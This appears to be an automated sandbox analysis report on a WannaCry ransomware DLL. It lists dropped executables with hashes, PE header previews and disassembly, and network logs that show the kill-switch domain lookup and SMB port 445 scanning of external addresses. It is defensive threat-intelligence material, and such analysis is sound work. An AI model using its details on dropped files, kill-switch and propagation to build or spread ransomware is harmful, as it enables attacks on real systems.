	v8Rhp4teOl.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	ITgIVInsO8.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
	PDAZE3eQB1.dll	Get hash	malicious	Browse	23.211.4.86 40.126.31.73 40.126.31.67 40.125.122.176 52.152.110.14 20.54.89.106 40.126.31.71
9e10692f1b7f78228b2d4e424db3a98c	LKFzQmYqgy.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	jlDcDtXgq9.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	7L0nCME6Kp.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	iuKGeTa48w.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	vNpxhf7FVt.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	I3sgx86wCF.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	L41GW4JRiW.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	X18orALLTB.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	fQew7F3WdJ.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	KzNCczOeyE.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	fcZBQq5qMC.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	7HIw4dumsu.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	sbbpYv6Pjz.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	vJYhypgR4J.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	D5AeSqq60p.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	8zry8ljo5K.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	v8Rhp4teOl.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	ITgIVInsO8.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	PDAZE3eQB1.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94
	nE1ElepZ0Y.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.82.209.183 20.238.103.94

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Windows\eee.exe	PDAZE3eQB1.dll	Get hash	malicious	Browse
	rBsGH746YC.dll	Get hash	malicious	Browse
	dKkvbrzdUL.dll	Get hash	malicious	Browse
	UjhHNEfOFP.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse
C:\WINDOWS\qeriuwjhrf (copy)	PDAZE3eQB1.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse
	mssecsvr.exe	Get hash	malicious	Browse
	zPdbGc5VTX.exe	Get hash	malicious	Browse

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.964401099413066
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfBhz1aRxcSUDk36SAEdhvm
MD5:	BEB8A27FC024962E045C32AA58D07D0E
SHA1:	796D3613673F323135865C42272ABEF347ADD163
SHA-256:	EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900
SHA-512:	E84C03F6F4399B28E0D258B743831F36C621325D9B199CBBDD6982ED51280FACFC5A953A2393788BBC54EFB653F95C9F75EA29C93C147C9227AFF3395F788179
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 69%, Browse Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse Filename: mssecsvr.exe, Detection: malicious, Browse Filename: zPdbGc5VTX.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: rBsGH746YC.dll, Detection: malicious, Browse Filename: dKkvbrzdUL.dll, Detection: malicious, Browse Filename: UjhHNEfOFP.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2281472
Entropy (8bit):	7.890805207497669
Encrypted:	false
SSDEEP:	49152:QnpEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnvn:QpyfBhz1aRxcSUDk36SAEdhvn
MD5:	142DB3228DD9177F5FDAEC26D0F0E19A
SHA1:	F4F080D897A4FE16AA557A3499A7D495DB62148B
SHA-256:	458D19C4E0D41353ADE3B5EB94815436AC911AD13C2FA525F753D5EF182F417F
SHA-512:	07A24755CC8E53669065D3DCFAEE9FF6670670242B4E7F5DDD82F75501923372A394063F3B6A9FCD27CF67EB84A152E3B7B7C7D0327D22E2591FB47DEC9053CF
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L......................"...................@...........................P......................................................1..z...........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.........1...... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.964401099413066
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfBhz1aRxcSUDk36SAEdhvm
MD5:	BEB8A27FC024962E045C32AA58D07D0E
SHA1:	796D3613673F323135865C42272ABEF347ADD163
SHA-256:	EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900
SHA-512:	E84C03F6F4399B28E0D258B743831F36C621325D9B199CBBDD6982ED51280FACFC5A953A2393788BBC54EFB653F95C9F75EA29C93C147C9227AFF3395F788179
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.289839575315959
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	48O5lgRp91.dll
File size:	5267459
MD5:	e9d1ba0ee54fcdf37cf458cd3209c9f3
SHA1:	77970fdacd24e82e89547f0d6087f866126469ca
SHA256:	7d8644271eb48be35e35f1d4c06649ba6878b4672f3d57bdea1f2ff9074bc434
SHA512:	5dbc5b9afc7f15b5dc48650b136621aec4486f036f626fd91f786ee4375007f1a2501a954285c08763319f332657b1b883cd991ba0c678f39d4d19cbfbb3cc0c
SSDEEP:	49152:RnpEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnv:1pyfBhz1aRxcSUDk36SAEdhv
TLSH:	9036236530A8C0B4D103157044ABCB62F6B67C2A17BA694FBF904E7E2E63B56E714B43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F90C0A64A4Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007F90C0A64A68h
cmp esi, 01h
je 00007F90C0A64A47h
cmp esi, 02h
jne 00007F90C0A64A64h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F90C0A64A4Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F90C0A64A4Eh
push edi
push esi
push ebx
call 00007F90C0A6495Ah
test eax, eax
jne 00007F90C0A64A46h
xor eax, eax
jmp 00007F90C0A64A90h
push edi
push esi
push ebx
call 00007F90C0A6480Ch
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F90C0A64A4Eh
test eax, eax
jne 00007F90C0A64A79h
push edi
push eax
push ebx
call 00007F90C0A64936h
test esi, esi
je 00007F90C0A64A47h
cmp esi, 03h
jne 00007F90C0A64A68h
push edi
push esi
push ebx
call 00007F90C0A64925h
test eax, eax
jne 00007F90C0A64A45h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F90C0A64A53h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F90C0A64A4Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.68.8.8.860350532830018 07/20/22-09:07:21.468085	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	60350	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.856591532830018 07/20/22-09:07:20.118371	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	56591	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.851748532830018 07/20/22-09:07:22.952005	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	51748	53	192.168.2.6	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 09:07:05.152817965 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.152864933 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.152983904 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.153153896 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.153197050 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.153276920 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.155571938 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.155599117 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.155746937 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.155765057 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.257074118 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.259268999 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.267798901 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.267946005 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.293062925 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.293082952 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.293394089 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.293478966 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.294914961 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.294940948 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.295274019 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.295342922 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.380875111 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.381149054 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.424531937 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.428504944 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.484783888 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.484904051 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.484911919 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.484983921 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.499057055 CEST	49720	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.499088049 CEST	443	49720	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.565433025 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.565463066 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.565488100 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.565577030 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.565594912 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.565634966 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.565673113 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.594208002 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594324112 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594388962 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.594407082 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594470024 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.594520092 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594578028 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594619036 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.594629049 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.594664097 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.594695091 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.622602940 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.622694016 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.622725010 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.622786999 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.628185987 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.628213882 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 09:07:05.628221989 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:05.628289938 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 09:07:10.680335045 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.680382967 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.680463076 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.682272911 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.682296991 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.753792048 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.753885984 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.756531954 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.756556988 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.757011890 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.806711912 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.825253010 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.846721888 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.846806049 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.846901894 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.847022057 CEST	49740	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.847043991 CEST	443	49740	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.997822046 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.997864008 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:10.997977972 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.998390913 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:10.998402119 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.062693119 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.063520908 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:11.063544035 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.064766884 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:11.064781904 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.098901033 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.098999023 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.099114895 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:11.114595890 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:11.114625931 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:11.114671946 CEST	49741	443	192.168.2.6	23.211.4.86
Jul 20, 2022 09:07:11.114679098 CEST	443	49741	23.211.4.86	192.168.2.6
Jul 20, 2022 09:07:16.266767979 CEST	49748	443	192.168.2.6	20.190.160.3
Jul 20, 2022 09:07:16.266820908 CEST	443	49748	20.190.160.3	192.168.2.6
Jul 20, 2022 09:07:16.266906023 CEST	49748	443	192.168.2.6	20.190.160.3
Jul 20, 2022 09:07:16.267431021 CEST	49748	443	192.168.2.6	20.190.160.3
Jul 20, 2022 09:07:16.267446995 CEST	443	49748	20.190.160.3	192.168.2.6
Jul 20, 2022 09:07:21.665447950 CEST	49757	445	192.168.2.6	223.119.113.33
Jul 20, 2022 09:07:22.780987978 CEST	49770	445	192.168.2.6	190.132.39.6
Jul 20, 2022 09:07:23.674448013 CEST	49779	445	192.168.2.6	185.43.169.61
Jul 20, 2022 09:07:23.902384996 CEST	49782	445	192.168.2.6	194.123.132.198
Jul 20, 2022 09:07:24.809161901 CEST	49790	445	192.168.2.6	206.49.78.30
Jul 20, 2022 09:07:25.014334917 CEST	49794	445	192.168.2.6	210.209.89.207
Jul 20, 2022 09:07:25.218611002 CEST	445	49794	210.209.89.207	192.168.2.6
Jul 20, 2022 09:07:25.725435019 CEST	49802	445	192.168.2.6	12.91.194.238
Jul 20, 2022 09:07:25.792416096 CEST	49794	445	192.168.2.6	210.209.89.207
Jul 20, 2022 09:07:25.960910082 CEST	49807	445	192.168.2.6	40.196.19.74
Jul 20, 2022 09:07:25.997220039 CEST	445	49794	210.209.89.207	192.168.2.6
Jul 20, 2022 09:07:26.144434929 CEST	49809	445	192.168.2.6	212.173.64.204
Jul 20, 2022 09:07:26.847630024 CEST	49817	445	192.168.2.6	30.240.55.192
Jul 20, 2022 09:07:26.898466110 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:26.898530960 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:26.898632050 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:26.906661034 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:26.906692982 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:26.994549990 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:26.994666100 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:26.996387959 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:26.996495008 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.059429884 CEST	49823	445	192.168.2.6	196.58.203.85
Jul 20, 2022 09:07:27.076267004 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.076313972 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.076661110 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.076735973 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078227043 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078301907 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078319073 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.078346014 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.078424931 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078458071 CEST	49820	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:27.078463078 CEST	443	49820	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:27.078494072 CEST	49820	443	192.168.2.6	131.253.33.200
